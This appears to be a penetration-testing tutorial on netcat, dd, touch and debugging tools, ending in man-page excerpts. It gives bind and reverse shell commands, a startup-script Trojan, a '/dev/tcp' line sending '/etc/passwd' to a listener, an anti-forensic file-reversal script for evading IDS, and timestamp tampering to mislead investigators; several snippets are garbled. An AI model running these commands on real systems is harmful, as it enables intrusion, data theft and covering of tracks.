100+ Unix Commands – Pen Testing and Audit. Part 3

Pen Testing and Audit. This comes in handy when engaged in a penetration test. In the event that you find a shell, it may not be feasible to upload large amounts of data, but netcat is small (and also exists natively on many UNIX/LINUX systems). Next, there is a port of Netcat for Windows. This means that it can be loaded into a Windows network over a shell exploit.


Once on the internal host, you can extend what you have done by scanning the internal network – INSIDE the firewall.

Netcat – the tester’s best friend

Sending to and from separate hosts is possible. The idea here is to have netcat setup as a listener on the host that is collecting the data and for it to be running on a host that is spoofing * the source address. The “-s” address local source address option and the fact that netcat has the “-g” source-routing hop point options add to this ability.

The “-wN” usage options defines the buffered sendmode that selects one line every N seconds. Another option that can be considered is to hexdump (to stderr or to a specified file) of transmitted and received data.

Vulnerability Scanning with Netcat

Netcat has a number of pre-existing scripts that can allow it to act as a simple vulnerability scanner. It does this by connecting to the port to be tested, entering data to test a vulnerability and returning the result. A number of the commonly available test scripts include those for:

1. RPC (Remote Procedure Calls) – both the *NIX (Port
111) and Windows (Port 135) versions
2. FTP (proxy tests, PASV bugs, etc.)
3. Password testing (along the lines of Brutus) – that is
you can try a dictionary attack and test a system’s
passwords
4. Map and export a file system
5. Test trust relationships (such as the “R” commands)
6. SSL – yes there is an SSL capable version of netcat
and it can be used to test SSL links
7. A Web and CGI scanner
8. Many more …

Reporting the results is another issue; you know that the vulnerability is there, the output is just not pretty.

Then there is scripting again:

# `perl –e ’print “A”x1024’` nc -v

A little fuzzing never hurt… But then again… In the perl sample above, we see how we can send large volumes of script to a listening port. This all goes to show how a simple command can be made into a truly powerful tool.

Testing and making connections to open ports with Netcat

When testing a system, netcat has a few things you should remember:

• It is faster than a speeding Telnet.
• Easy to drop with a CTRL-C
• Handles raw data in a single bound

Yes, it’s not a bird or a plane, it is netcat. Netcat is far faster than Telnet without the overhead and translation. This makes it superior for forensic data transfers. Unlike Telnet, netcat does not add characters.

Next, netcat can connect over UDP. This means it can be used as a simple “Telnet” client and server – even over UDP. You set up communications as follows:

On the Server:

# nc -l -p [port] -e /bin/csh

Or in Windows – “C: nc -l -p [port] -e C:windows
cmd.exe”.

If the aim is to have a UDP “telnet” style client over UDP 53, just run:

# nc -l -u -p 53 -e /bin/csh

Can we say a simple backdoor?

On the Client:

# nc [ServerIPAddress] [port]

So to connect to the listener above on UDP 53 at IP address 192.168.10.123 we would use:

# nc -u 192.168.10.123 53

It is all really easy when you think about it. This is why it is SO EASY to bypass firewalls and routers that allow DNS traffic (or any default rules). This is why it is CRITICAL that there are restrictions on all rules that have ANY system to ANY system access.

Acting as a virtual server or honeypot

Netcat can simulate any TCP or UDP service; the binary ones are far more complicated, but are still possible. If we take the simple example of a Web server that we wish to create as a honeypot, the process is to serve a page and log the results.

Make a webserver:

while true; do nc -l -p 80 -q 1 < /tmp/index.html; done

Run the script line above, then you could log the netstat and other packets, setup snort, etc. Or you could integrate logging:

cat { while read; do echo “`date` > $REPLY”>> log.txt;
echo $REPLY; done; } nc -l -p 80 -q 1 < /tmp/index.html
{ while read; do echo “`date` < $REPLY” >> log.txt;
echo $REPLY; done; }

To add a proxy or client header and fool simple systems:

# nc google.com 80 GET / HTTP/1.1Host: google.comUser-Agent: Mozilla Version 2800.1 (one day)Referrer: Not.my.site.com

To make a log with times, etc., the script needs to be spawn’d – but the idea is there. This can be done for nearly any service or port but, of course, there are always simpler ways to do this.

Netcat – the simple port-scan logger

The following is a small script to make Netcat into a simple Port Scan Logger. A little more and it can become a simple Honeypot:

# while true; do nc -l -p [port_to_monitor] -e /bin/record.sh >> /tmp/port_connections.txt

This calls a script, /bin/record.sh. There are other ways to do this, but this is a quick and easy example.

This script is as follows:

#!/bin/sh
# port_mon.sh
# Netcat script to record port scan details.
#
cat { while read; do echo “`date` > $REPLY”>> log.txt;
echo $REPLY; done; } netcat -v -v -l -w 3 [port_
monitored] { while read; do echo “`date` < $REPLY” >>
log.txt; echo $REPLY; done; }

This logs all connections to a single port from an IP address. This is a continuous loop. That is, when a connection is made, netcat will be respawned and ready to record another attempt.

Alternatively, we can log to syslog by adding:

“echo ‘<0>message’ nc -w 1 -u log_host 514”

Now, if we want to monitor several ports, a little extra scripting and we have a simple port scan monitor.

(for f in $(seq 1 254); do while true ; do nc -v -w3 -z $f; done)

Netcat to send files

Netcat helps in sending files. We can tar and compress (or gzip) the files contained within a specified directory and then pipe the data through a netcat client. The “–w” option can provide a few seconds of delay prior to a timeout. This covers the problem of temporary disconnects and intermittent traffic flow.

To move the file from a listener to the netcat client we first need to configure a listener.

# nc -l -p 53 < /tmp/the_file_name.bin

Next, a client.

#nc [IP_Address_of_Listener]

Pushing a file from the client to the netcat listener.

Again, we setup a listener.

# nc -l -p 53 > /tmp/the_file_we_want_to_copy.bin

And the client.

#nc [IP_Address_of_Listener] 53 < /tmp/The_File_we_saved.bin

This is just the reverse of what we did at first. This allows the sending or receiving of files. These files are sent in binary format, but this also allows text to be sent. Some issues can occur (and require translation) when sending from *NIX to Windows.

Netcat is also able to be used as a Forwarder and Relay

I am not going to go into detail here but, if you think about it, there is no reason why a single netcat listener is the end of what you can do. Chaining netcat can allow it to pass multiple layers and systems. In Pen-tests, Red Teaming and even on the darker side of the fence, this technique is used to “drill” through firewalls and security systems.

More than this, netcat can chain across different protocols. It is possible to pipe one connection type into another. A connection to DNS (UDP 53) can be changed to HTTP (TCP 80), etc.

All of this just touches the surface of what netcat does. I would suggest that you search and find out more. There are always more uses of netcat.

Netcat as a Trojan

Netcat can also be used as a backdoor into a system and a remote shell. It is all too easy….

Once you have run the script on the host that you wish to Trojanise, use telnet to connect to it as follows:

The following starts netcat in listen mode.

#nc -l -p [port] -e /bin/ksh

Of course, you can listen on either TCP or UDP. In fact, adding this line to a start-up script could allow you to selectively send connections to a valid service or the “Trojan”.

For instance, if you can obtain shell access through a DNS vulnerability with BIND, you could load a netcat startup and allow future access while patching the issue to stop further attacks. Even simple tools can be used in both positive and negative ways.

A replay attack engine

Netcat can be used as a replay attack engine. It works well for this purpose and is simple to use. The first part is to actually collect the information stream (the data) that you want to replay. This can be done by using another tool to create the stream or just capture (tcpdump or wireshark) a stream and alter the parts that do not fit.

Change the times, IP addressing, destinations, values, etc. to make the captured stream suit what you want.

To replay the data, netcat in client mode will suffice:

$ cat file.capture.bin nc [destination IP] [port]

or even:

$ nc [destination IP] [port] <>

Either will work. Either netcat in listen mode, tcpdump, wireshark or tcprelay can be used to make the initial capture. TCPRelay works better for this task, but netcat just looks cooler (in a geek sense).

Hence, netcat can be used to replay packets.

Egress filtering and netcat

First I had better explain to everyone what Egress filters are. Most people understand the idea of Ingress filtering. This is stopping things coming into the network. Most people will agree that letting anything into the network from the Internet willy-nilly is a bad idea. But what are Egress filters and why are they necessary?

An Egress filter is a block on traffic leaving your network. This may not sound too nefarious, but it is not just the insiders who can damage your network from the inside. An external attacker can “push” a session from the client to a listener. That is they can make a shell connection from your server using outgoing traffic to get an incoming connection to your internal systems.

Shoveling a shell

You may think that it is not possible to get an incoming shell from the Internet because you block incoming traffic. If you do, you are mistaken. There is an attack method known as shoveling a shell or just a shoveling shell. Netcat is a common tool for launching this attack. The attacker would setup netcat as follows:

Listener: nc –l –p [port no.]
 Client: : nc [listenerIP] [port] –e /bin/sh

The firewall will see this as an outgoing connection from the system. It is, in reality, an incoming interactive shell. It is also a common way of using that buffer overflow condition – take your pick of the latest one hitting the streets.

Generally, the client is activated at regular intervals through cron. This is completed by activating a netcat server and waiting for the connection from the system being attacked. The system being attacked is generally configured using a common port that is generally allowed through your firewall and expected. Ports such as TCP 25 (SMTP), TCP 80 (HTTP) or TCP 443 (HTTPS) are used. If the attacker is really smart, they will tie the connection to UDP and bind it to something like UDP 53 (DNS) as it is rarely blocked. (nc -u: UDP Mode).

The result – the attacker has a command shell to your system through your firewall. This even works on firewalls that block ALL incoming traffic. As a tester, you can do the same, as packet filters are easily fooled, a good proxy level firewall is not – but there are fewer and fewer of these being used.

The worst thing, is that tools such as metasploit (http://www.metasploit.com/) make this even easier. They bundle the exploit and tools into a single payload that even a novice script kiddie can use. So filter that outgoing Internet Traffic before it is too late!

Oops – I forgot to install netcat…

Netcat does not exist on all systems. It is common on many Linux systems, but less commonly installed on UNIX. In the event that netcat is not installed as a client program on a system, and when we cannot install netcat, there are options in both /dev/TCP and /dev/UDP:

/dev/tcp/[IPaddress]/[port]
 /dev/ucp/[IPaddress]/[port]

So for our UDP 53 example this becomes:

/dev/ucp/192.168.10.123/53

For the shell this becomes:

/bin/csh –i > /dev/tcp/[IPaddress]/[port] 0<&1 2>&1
/bin/csh –i > /dev/ucp/[IPaddress]/[port] 0<&1 2>&1

And hence, we can obtain the functionality of netcat with the tools and devices that exist on any *NIX system. As an example, the script line below shovels a shell from the target host to a waiting Netcat listener. We can enter commands on the host that act as a reverse shell.

/bin/csh –i > /dev/ucp/192.168.10.123/53 0<&1 2>&1

The critical point is that we can use netcat on our local system even when the remote system under test does not have netcat. And, of course, if netcat is not installed on the client, we can still use a makeshift client such as:

# cat /etc/passwd> /dev/tcp/[IP_Address_of_Listener]/[Listener_Port]

Filtering connections

An exercise to try is to setup restrictions on the source IP that is allowed to connect. Netcat can be configured to accept connections only from a predefined source IP address. This makes the connection operate like TCP_Wrappers and is seminal to a firewall for the individual service.

Sending compressed files

In this example, the data received is piped into tar. By running tar with the “v” option (or verbose) we can see the filenames – they are printed to SDOUT (generally the screen). Omit this if you want to script this or otherwise automate this process (less noise). To compress the output, also run tar with the “z” flag. This will automatically run the gzip compression program over the output.

Note:
Not all implementations of tar support the “z” flag and it may be necessary to pipe the tar’d output to gzip in a separate step.

To do this we use the commands:

Client

# tar cfpz – /[directory_path]/[File] /bin/nc –w 3 [Destination_Host_IP] [Listener-Port]

or for an entire directory, just:

# tar cfpz – /[directory_path] /bin/nc –w 3 [Destination_Host_IP] [Listener-Port]

Listener

# nc –l -p [Listener-Port] tar xfpvz -

On the listener we reverse the process in this example and restore the files.

For the details on how to use tar see: http://www.linuxcommand.org/man_pages/tar1.html.

Alternatively

Together, dd and netcat make a great way to either backup a system (and all slack, etc.) or to remotely obtain a forensically sound copy of a partition, drive, memory, etc.

Say we want to make an image of /dev/hdb1 (a partition, but the entire drive can also be copied with /dev/hdb), we can use the following commands:

Client

# dd if=/dev/hda1 nc –v –w 15 [Netcat_Listener_IP] 1200

Listener

# nc –l –v –w 15 -p 1200 dd of=/tmp/image_hdb.dd

There are other options with dd that can be incorporated and I have these in other posts. In this case, I have used TCP 1200 as the port, but this can be anything that is not in use. Also, UDP can be used, as well, but there is a larger chance of error.

This image can now be cloned to other hosts, used as a backup to be restored to the original, if needed, or used for forensic analysis. You can also test the system remotely without leaving a further trail.

DD

DD is the Swiss army knife of file tools – with /dev/tcp it can also be a network tool (but nc is simpler).

First we need the basics for DD. For this we have the man page and some definitions. I have taken (blatantly paraphrased) the man file info for DD and included this below (which is simple to obtain – “man dd”).

For the purpose of a task such as reversing files and swapping them, we need to concentrate on the following options:

• bs – This is block size. Setting “bs=1” means that we can use dd as a bit level (instead of a block level) tool. Although it does slow down the process from a block copy, we are not looking at how fast we can copy here.
• skip – this tells us to skip “n” blocks. In our case, we want “n” bits.

What we are going to do is start at the value of “n” set to our last bit in the file. We will loop the dd function to next copy bit “n – 1”, then “n – 2”, … to “n=1”. This means n gets copied to bit 1, “n – 1” to bit 2, …, bit 1 to bit n.

In other words we need to copy bit “n – i” in the source file to bit “i – n” in the destination file.

How to reverse a file with dd

Reversing a file is actually fairly simple, a small shell script code executed with the length of the file (based on the sector size) is all that is required. You can either use a default block size (where the individual blocks will be moved into a reverse order), or set the block size to 1 in order to completely reverse the file. The flag, “bs=1” is added in order to copy the entire file in reverse – bit by bit.

If the size of the file and its name are known beforehand, the script is particularly simple (note that this script uses the ‘count’ command, which is not found on all systems):

$j = [file_size]
$F=[file to copy]
for i in `count 0 $j`; do
dd conv=noerror bs=1 count=1 skip=($i) if=$F > /($j).out
done

In the event that you do not know the size of the file, the following script can be used, or if you want to incorporate this in to a script that changes multiple files at once you need to feed more information into the script (including a file descriptor). This script is a little messy (I have not made any effort to tidy it up), but does the trick.

#! /bin/bash
# This is a small utility script that will reverse the
# file that a user inputs
# It is not coded securely and presumes the directory for a
# number of command – change
# this to run it in a real environment. The main thing is
# a proof of concept anti-forensic tool.
# This script by reversing files will make the file
# undetectable as a type of file by commercial
# file checkers. Run it in reverse to get the original back.
#
# Author: Craig S Wright
#Set the file to reverse
echo “Enter the name (and path if necessary) of the file
you want to reverse:”; read FILE
#i Work out the file size
SIZE_OF_FILE=`/bin/ls -l $FILE | awk ‘{print $5}’`
i=0
#The script – not pretty – but the idea was all I was
# aiming at
K=`expr $SIZE_OF_FILE – $i`
/bin/dd conv=noerror bs=1 skip=$K if=$FILE count=1 >
$FILE.out
i=`expr $i + 1`
J_Plus=`expr $SIZE_OF_FILE + 1`
while [ “$i” != “$J_Plus” ]
do
K=`expr $SIZE_OF_FILE – $i`
/bin/dd conv=noerror bs=1 skip=$K if=$FILE count=1 >>
$FILE.out
i=`expr $i + 1`
done

To go a little further and add some options, I have included the following example. I have NOT added input checking or other NECESSARY security controls. This is quick and nasty only. Please fix the paths and input checking if you want to run it.

The following script is called reverse.sh:

#! /bin/bash
#
# reverse.sh
#
# Set the file to reverse – I DO NOT check if the file
# actually exists – you should!
echo “Enter the name (and path if necessary) of the file
you want to reverse:”; read FILE
# Default File output = FILE.out
FILE_OUT=$FILE.out
# Set the file where the reversed file is to be saved – I DO
# NOT check if the file actually exists – you should!
echo “Enter the name (and path if necessary) of the file
you want the output saved as (must be different to the
input):”; read $FILE_OUT
#Set the Block Size. This will default to BS=1 for dd
BS_SIZE=1
echo “Enter the Block Size (the default = 1 bit):”; read
BS_SIZE
#i Work out the file size
SIZE_OF_FILE=`/bin/ls -l $FILE | awk ‘{print $5}’`
i=0
#The script – not pretty – but the idea was all I was
# aiming at
K=`expr $SIZE_OF_FILE – $i`
/bin/dd conv=noerror bs=$BS_SIZE skip=$K if=$FILE count=1
> $FILE_OUT
i=`expr $i + 1`
J_Plus=`expr $SIZE_OF_FILE + 1`
while [ “$i” != “$J_Plus” ]
do
K=`expr $SIZE_OF_FILE – $i`
/bin/dd conv=noerror bs=$BS_SIZE skip=$K if=$FILE count=1
>> $FILE_OUT
i=`expr $i + 1`
done
# The end...

To use the previous script enter:

$ ./reverse.sh

Enter the name of the file you want to reverse and the block size (best left at 1 bit). This will return the bitwise reversed file. If you want to verify it – run it twice and use “diff” to validate that the same file is returned. This will reverse the reverse and get the original back.

This works on text and binary files and, with a little tweaking, you can reverse headers but leave the body the same, reverse the body after skipping the file header and many more options.

I have yet to find a forensic tool that will find reversed text if you are not looking for it. Also, this is a simple way of passing tools when an IDS/IPS is in use. The reversed files are not found in default scans. This has been tested with several of the leading IDS products. In all cases, it was possible to send tools without setting an alert.

With time and practice, you can create a loader script that will take the reversed file and execute it directly into memory. This leaves no copy of the original file to be uncovered with a Host based IDS.

The script example above has the file output written without checking if a file exists. The following is an example of how you can add a small amount of script to verify that you are not overwriting an existing file:

if [ -f $FILE ]
then
echo “The file [$FILE] that you are seeking write already exists”
echo “Do you want to overwrite the existing file? ( y/n ) : c”
read RESPONSE
if [ “$RESPONSE” = “n” ] || [ “$RESPONSE” = “N” ]
then
echo “The file will not be overwritten and the process will abort!”
exit
fifi

It is also a good idea to use the full path in a script. Users can change the path variables they are exposed to and, unless you set these (either explicitly or by adding a profile for the script to use), an attacker could use a system script to run their own binary.

The key to successfully testing a system and validating the security state of that system is to think outside the box. For instance, there are several reasons why you would want to reverse a file for testing:

•  Attackers could do this to bypass filters, controls and other protections
•  Anti-forensics, finding the needle in a haystack is difficult – esp. when the tools do not help
•  Pen Testing – just as in point 1 for attackers, the tester can use this to load tools without being detected by filters or through malware detection engines

Once a file has bypassed the perimeter controls, getting it to work inside an organization is simple. Hence, a means to bypass controls is of interest to those on the attack side of the equation (both validly and less so).

Next, it is a concern to the forensic professional. Hiding files through reversing them makes the process of discovery a proverbial search for the needle in a haystack.

An interesting effect to try is to maintain the header on a bitmap file (i.e. skip the first portion of the file and reverse the later parts). What ends up occurring is that the image can be recreated upside down. All types of interesting
effects can be found.

As always, the cards are stacked in favor of the attacker.

When in a contest that pits rules against open morality, rules lose more than not. This does not mean that we give up, only that we have to understand the odds that are stacked against us and that it is also the case that people naturally err. This is when we (the “good” guys) win. For security professionals to be successful, we need to think outside the box.

touch

The *NIX touch command can be used to change the access and modification times on an existing file or directory or to create a new file. There is a common belief that the touch command can change any time entry (including the change time or, on some systems, the create time); this is not correct. The change time and created time of a file needs to be modified in other ways (such as extracting files from TAR archives).

If a file does not exist on the system, the touch command will create it. The touch command can be used to update or create the access and modification times, setting these to a specified predefined value. If the option to set a new timestamp is not used, the command will set the current time.

The command’s options include:

• a: change the access time
• m: change the modification time
• r <file>: set the access and modification times of the file being changed to be the same as that of one named <file>
• t <time>: set the time specified by <time> when updating the access and modification times

The touch command uses the format [[cc]yy]MMDDhhmm[.ss]. These are defined as follows:

• MM: the two-digit numeric month,
• DD: the two-digit numeric day,
• hh: the two-digit numeric hour,
• mm: the two-digit numeric minutes,
• ss: Sets the two-digit seconds,
• cc: the first two digits of the year, and
• yy: the last two digits of the year.

The touch command can be used without options to set the current time. This is done to simulate an update to a file without actually accessing it. For an attacker, this can be used to hide an attack. Setting a false path can lead an investigator into checking the wrong files and wasting valuable time.

For instance, running “touch /bin/sh” could be used to lead an investigator into checking the use of the “/bin/sh” command shell when another shell was really used. The contents of the “/bin/sh” file are not changed, the timestamps are updated to reflect the system’s current date and time. Alternatively, an attacker could also change the timestamps of files to have these seem to have been accessed at any other time (including a time in the future).

If you know that an administrator logs into a system at 9.30 am each day, you could set the files touched in the loginprocess back to the prior date (for instance, to 09.30am on Monday 9th March 2009).

touch –a -t ‘2009-03-09 9:32:21’ /bin/csh

This command will change the access time of the “/bin/csh” command shell to March 09th, 2009 at 9:32:21am.

One unfortunate aspect of the touch command is that it is not recursive. You have to touch each file or create a script to do this. Fortunately, this is simple. For example, linking the find command to touch using exec will allow you to selectively update a number of files and even recurse through directories:

• find . -exec touch {} ;
• find . | xargs touch
• find . -print0 | xargs -0 touch

Where long file names and spaces are used, the last find option above will handle this.

The real secret is to use the touch command in scripts. As you run an attack to validate a system, update the access time to that which it previously was set to.

Programming tools

It is simple when compilera or other tools are installed on a system. In this event, a tester can simply add any tools that are desired by compiling them on the host. Source code can be uploaded over ASCII connections, such as telnet, so even a console can be used to load your favorite tools when compilers are installed.

In many cases, compilers and other similar tools have been restricted or (ideally) not installed on production systems. Where this is the case, it is still common to discover many related tools (including disassemblers) on a host. Some of these tools are covered in this section.

In many instances, systems will not have tools at your  disposal that can easily be used to test privilege escalation. In this instance, it may be necessary to “roll your own” exploit. Stack and Heap overflows are all too common in software. Even where patches are available, it is all too common to find patches missing. This can be a result of legacy systems not functioning when the patch is applied, or a simple failure for any reason to have applied the patch.

In these instances, an attacker could exploit a flaw in the software to gain additional privileges on the system (maybe even root).

GDB / DBX

The “gdb” is a software debugger in Linux and “dbx” is essentially the same in UNIX. These commands are commonly found on systems where compilers have been removed as many system administrators are uncertain of their use.

There are many useful tutorials on the web for both gdb and dbx. Some of these include:

• http://www.ece.unm.edu/faculty/jimp/310/nasm/gdb.pdf
• http://dirac.org/linux/gdb/

These are highly advanced tools, so I have left them to the end of this paper. The boon of finding them on a system cannot be beaten. These tools are primarily used when looking for exploitable flaws on a system. If you can copy an executable from the system, this can be run and verified on another *NIX system. Any exploitable flaws can then be discovered and used in the testing and validation process.

objdump

The “objdump” command is a disassembler similar to gdb. It is not a debugger. This difference means that you can disassemble the executable binary without actually having to execute it. This can come in handy when you are looking for poorly constructed binaries (e.g. those with stack overflows) but are not ready to execute these.

This also gets around the issue where a binary has read privileges for a user account used by the tester but not execute rights.

readelf

The “readelf” command is similar to “objdump” with more detailed information being provided on ELF headers (Executable and Linking Format). It is used in the analysis of executable binary files to view the GOT (Global Offset Table) and the PLT (Procedural Linkage Table).

ltrace / strace

The “ltrace” tool is used to intercept and record library calls. It is similar to “strace”. The “ltrace” command executes a program recording all of the library calls made and any signals that are received. “strace” also records system calls as well as library calls.

Appendixes

The following pages are a list of Appendixes and provide “MAN” entries and external sources to the paper.

Appendix 1 – *NIX Commands

The following are a list of the “MAN” or manual pages for a couple of the commands listed in this paper. These will vary with respect to the system they are run on and it is essential to always familiarize yourself with the particularities of the system that you are working on. These pages are taken from the author’s system. These are direct entries from the *NIX “man” entries and have only been slightly modified for style and format. Not all commands used in this paper have been included. A small sample has been copied in order to help you become familiar with the output of the MAN command.

“date”

The “date” command displays the current time in the given
FORMAT, or can be used to set the system date.

• date [OPTION]… [+FORMAT]
• date [-u|–utc|–universal] [MMDDhhmm[[CC]YY][.ss]]

The command options are:

-d, –date=STRING

display time described by STRING, not ‘now’

-f, –file=DATEFILE

like –date once for each line of DATEFILE

-r, –reference=FILE

display the last modification time of FILE

-R, –rfc-2822

output date and time in RFC 2822 format

–rfc-3339=TIMESPEC

output date and time in RFC 3339 format. TIMESPEC =’date’, ‘seconds’, or ‘ns’ for date and time to the indicated precision.

-s, –set=STRING

set time described by STRING

-u, –utc, –universal

print or set Coordinated Universal Time.

–help display this help and exit
–version

output version information and exit.

FORMAT controls the output. The only valid option for the second form specifies Coordinated Universal Time. Interpreted sequences are:

%% a literal %
 %a locale’s abbreviated weekday name (e.g., Sun)
 %A locale’s full weekday name (e.g., Sunday)
 %b locale’s abbreviated month name (e.g., Jan)
 %B locale’s full month name (e.g., January)
 %c locale’s date and time (e.g., Thu Mar 3 23:05:25 2005)
 %C century; like %Y, except omit last two digits
 (e.g., 21)
 %d day of month (e.g, 01)
 %D date; same as %m/%d/%y
 %e day of month, space padded; same as %_d
 %F full date; same as %Y-%m-%d
 %g the last two digits of the year corresponding to the %V
 week number
 %G the year corresponding to the %V week number
 %h same as %b
 %H hour (00..23)
 %I hour (01..12)
 %j day of year (001..366)
 %k hour ( 0..23)
 %l hour ( 1..12)
 %m month (01..12)
 %M minute (00..59)
 %n a newline
 %N nanoseconds (000000000..999999999)
 %p locale’s equivalent of either AM or PM; blank if
 not known
 %P like %p, but lower case
 %r locale’s 12-hour clock time (e.g., 11:11:04 PM)
 %R 24-hour hour and minute; same as %H:%M
 %s seconds since 1970-01-01 00:00:00 UTC
 %S second (00..60)
 %t a tab
 %T time; same as %H:%M:%S
 %u day of week (1..7); 1 is Monday
 %U week number of year with Sunday as first day of week
 (00..53)
 %V week number of year with Monday as first day of week
 (01..53)
 %w day of week (0..6); 0 is Sunday
 %W week number of year with Monday as first day of week
 (00..53)
 %x locale’s date representation (e.g., 12/31/99)
 %X locale’s time representation (e.g., 23:13:48)
 %y last two digits of year (00..99)
 %Y year
 %z +hhmm numeric timezone (e.g., -0400)
%:z+hh:mm numeric timezone (e.g., -04:00)
%::z +hh:mm:ss numeric time zone (e.g., -04:00:00) %:::z
numeric time zone with : to necessary precision (e.g.,
-04, +05:30) %Z alphabetic time zone abbreviation
(e.g., EDT)

By default, the “date” command pads numeric fields with zeroes. The following optional flags may follow ‘%’:

– (hyphen) do not pad the field _ (underscore) pad with spaces 0 (zero) pad with zeros ^ use upper case if possible # use opposite case if possible. After any flags comes an optional field width, as a decimal number; then an optional modifier, which is either E to use the locale’s alternate representations if available, or O to use the locale’s alternate numeric symbols if available.

“dd”

dd [bs=s] [cbs=s] [conv=conversion] [count=n] [ibs=s]
[if=file] [imsg=string] [iseek=n] [obs=s] [of=file]
[omsg=string] [seek=n] [skip=n]

DESCRIPTION

dd reads and writes data by blocks, and can convert the data between formats. dd is often used for devices such as tapes which have discrete block sizes, or for fast multisector reads from disks. The conversions can accommodate systems that need de-blocking, conversion to/from EBCDIC and fixed length records.

dd processes input data as follows:

1. dd reads an input block.
2. If you specified conv=sync and this input block is smaller than the specified input block size, dd pads it to the specified size with null bytes. By also specifying a block or unblock conversion, dd implements spaces instead of null bytes.
3. If bs=size is specified and requested no conversion other than sync or noerror, dd writes the input block (padded where necessary) to the output as a single block and omits the remaining steps.
4. By specifying the swab conversion, dd swaps each pair of input bytes. If there is an odd number of input bytes, dd does not attempt to swap the last byte.
5. dd performs all remaining conversions on the input data independently of the input block boundaries. A fixedlength input or output record may span these boundaries.
6. dd collects the converted data into output blocks of the specified size. When dd reaches the end of the input, it writes the remaining output as a block (with added padding if the conv=sync option is used). Consequently, the final output block can be smaller than the output block size.

Parameters

bs=size

This option sets both input and output block sizes to size bytes. You can suffix this decimal number with w, b, k, or xnumber to multiply it by 2, 512, 1024, or number, respectively. You can also specify size as two decimal numbers (with or without suffixes) separated by x to indicate the product of the two values. Processing is faster when ibs and obs are equal, since this avoids buffer copying. The default block size is 1b. bs=size supersedes any settings of ibs=size or obs=size. Specifying bs=size with no other conversions than noerror, notrunc, or sync, dd writes the data from each input block as a separate output block. In the event that the input data is less than a full block and you did not request sync conversion, the output block is the same size as the input block.

cbs=size

Sets the size of the conversion buffer used by various conv options. It is possible to specify this option in the same way as for bs.

conv=conversion[, conversion, …]

This option specifies conversion method. Conversion can be any of the following:

ascii

Converts EBCDIC input to ASCII for output. dd copies cbs bytes at a time to the conversion buffer, maps them to ASCII, then strips trailing blanks, adds a newline, and copies this line to the output buffer.

block

Converts variable-length records to fixed-length records. dd treats the input data as a sequence of variable-length records (each terminated by a newline or an EOF character) independent of the block boundaries. dd converts each input record by first removing any newline characters, then padding (with spaces) or truncating the record to the size of the conversion buffer. dd reports the number of truncated records on the standard error. It is necessary to specify cbs=size with this conversion setting.

ebcdic

Converts ASCII input to EBCDIC for output. dd copies a line of ASCII to the conversion buffer, discards the newline, pads it with trailing blanks to cbs bytes, maps it to EBCDIC and copies it to the output buffer.

ibm

Converts ASCII to a variant of EBCDIC which gives better output on many IBM printers.

lcase

Converts uppercase input to lowercase.

noerror

Ignore errors on input.

notrunc

The option sets dd so that it does not truncate the output file. If a block is explicitly written, it replaces the existing block; all other blocks are unchanged. See also of=file and seek=n.

swab

Swaps the order of every pair of input bytes. If the current input record has an odd number of bytes, this conversion does not attempt to swap the last byte of the record.

sync

Pads any input block shorter than ibs to that size with null bytes before conversion and output. If you also specified block or unblock, dd uses spaces instead of null bytes for padding.

ucase

Converts lowercase input to uppercase.

unblock

Converts fixed-length records to variable-length records by reading a number of bytes equal to the size of the conversion buffer (or the number of bytes remaining in the input, if less than the conversion buffer size), deleting all trailing spaces, and appending a newline character. You must specify cbs=size with this conversion.

convfile

Deploys convfile as a translation table if it is not one of the conversion formats listed here and it is the name of a file of exactly 256 bytes. It is possible to perform multiple conversions at the same time by separating arguments to conv with commas; however, some conversions are mutually exclusive (for example, ucase and lcase).

count=n

Copies only n input blocks to the output.

ibs=size

Sets the input block size to size bytes. Specify this option in the same way as bs.

if=file

Reads input data from file. If you don’t specify this option, dd reads data from the standard input.

imsg=string

Displays string when all data has been read from the current volume, replacing all occurrences of %d in string with the number of the next volume to be read. dd then reads and discards a line from the controlling terminal, giving you a chance to change volumes (usually a floppy disk).

iseek=n

Seeks to the nth block of the input file. The distinction between this and skip is that iseek does not read the discarded data; however there are some devices, such as tape drives and communication lines, on which seeking is not possible, so only skip is appropriate.

obs=size

Sets the output block size to size bytes. Specify this option in the same way as bs. The size of the destination should be a multiple of the value chosen for size. For example, if you choose obs=10k, the destination’s size should be a multiple of 10k.

of=file

Writes output data to file. Without setting this option, dd writes data to the standard output. dd truncates the output file before writing to it, unless you specified the seek=n operand. If you specify seek=n, but do not specify conv=notrunc, dd preserves only those blocks in the output file over which it seeks. If the size of the seek plus the size of the input file is less than the size of the output file, this can result in a shortened output file.

omsg=string

Displays string when dd runs out of room while writing to the current volume. Any occurrences of %d in string are replaced with the number of the next volume to be written. dd then reads and discards a line from the controlling terminal, giving you a chance to change volumes (usually a floppy disk).

seek=n

Initially seeks to the nth block of the output file.

skip=n

Reads and discards the first n blocks of input.

“which”

Syntax

which [options] [–] program_name […]

Options

--all, -a

Print all matching executables in PATH, not just the first.

--read-alias, -i

Read aliases from stdin, reporting matching ones on stdout. This is useful in combination with using an alias for which itself. (e.g. “alias which=’alias | which -i’”).

--skip-alias

Ignore option –read-alias, if any. This is useful to explicitly search for normal binaries, while using the “–readalias” option in an alias for which.

--skip-dot

Skip directories in PATH that start with a dot.

--skip-tilde

Skip directories in PATH that start with a tilde and executables which reside in the HOME directory.

--show-dot

If a directory in PATH starts with a dot and a matching
executable was found for that path, then print “./program_
name” rather than the full path.

--show-tilde

Output a tilde when a directory matches the HOME directory. This option is ignored when which is invoked as root.

--tty-only

Stop processing options on the right if not on tty.

--version, -v, -V

Print version information on standard output then exit successfully.

--help

Print usage information on standard output then exit successfully.

RETURN VALUE

Which returns the number of failed arguments, or -1 when no program name was supplied.

EXAMPLE

A useful way to use this command is by adding an alias for which like the following:

alias which=’which --tty-only --show-tilde --show-dot’

This will print the readable ~/ and ./ when starting which from your prompt, while still printing the full path when used from a script:

> which ssh
~/usr/bin/ssh
> echo `which ssh`
/home/hacker/bin/ssh

Aliases are also supported. An example alias for which that is using this feature is as follows:

alias which=’alias | which --tty-only --read-alias --showtilde--show-dot’

This will print the output of alias for each alias that matches one of the given arguments. For example, using this alias on itself in a tcsh:

$ alias which alias | /usr/bin/which -i !*
$ which which
which (alias | ./which -i !*)
/usr/bin/which

“uname”

The “uname” command will output system information about the host and operating system it is run from. When no options are supplied, ‘uname’ acts as if the ‘-s’ flag was given.

Syntax

uname [options]...

Options

-a, --all

hostname.

-p, --processor

Display the host’s processor type.

-r, --release
Display the operating system release.
-s, --sysname

Display the operating system name.

-v

Print the operating system version.

If multiple options or ‘-a’ are supplied, the selected information is printed in this order:

Sysname Nodename
Release Osversion Machine

The OSVERSION may consist of multiple words. For instance:

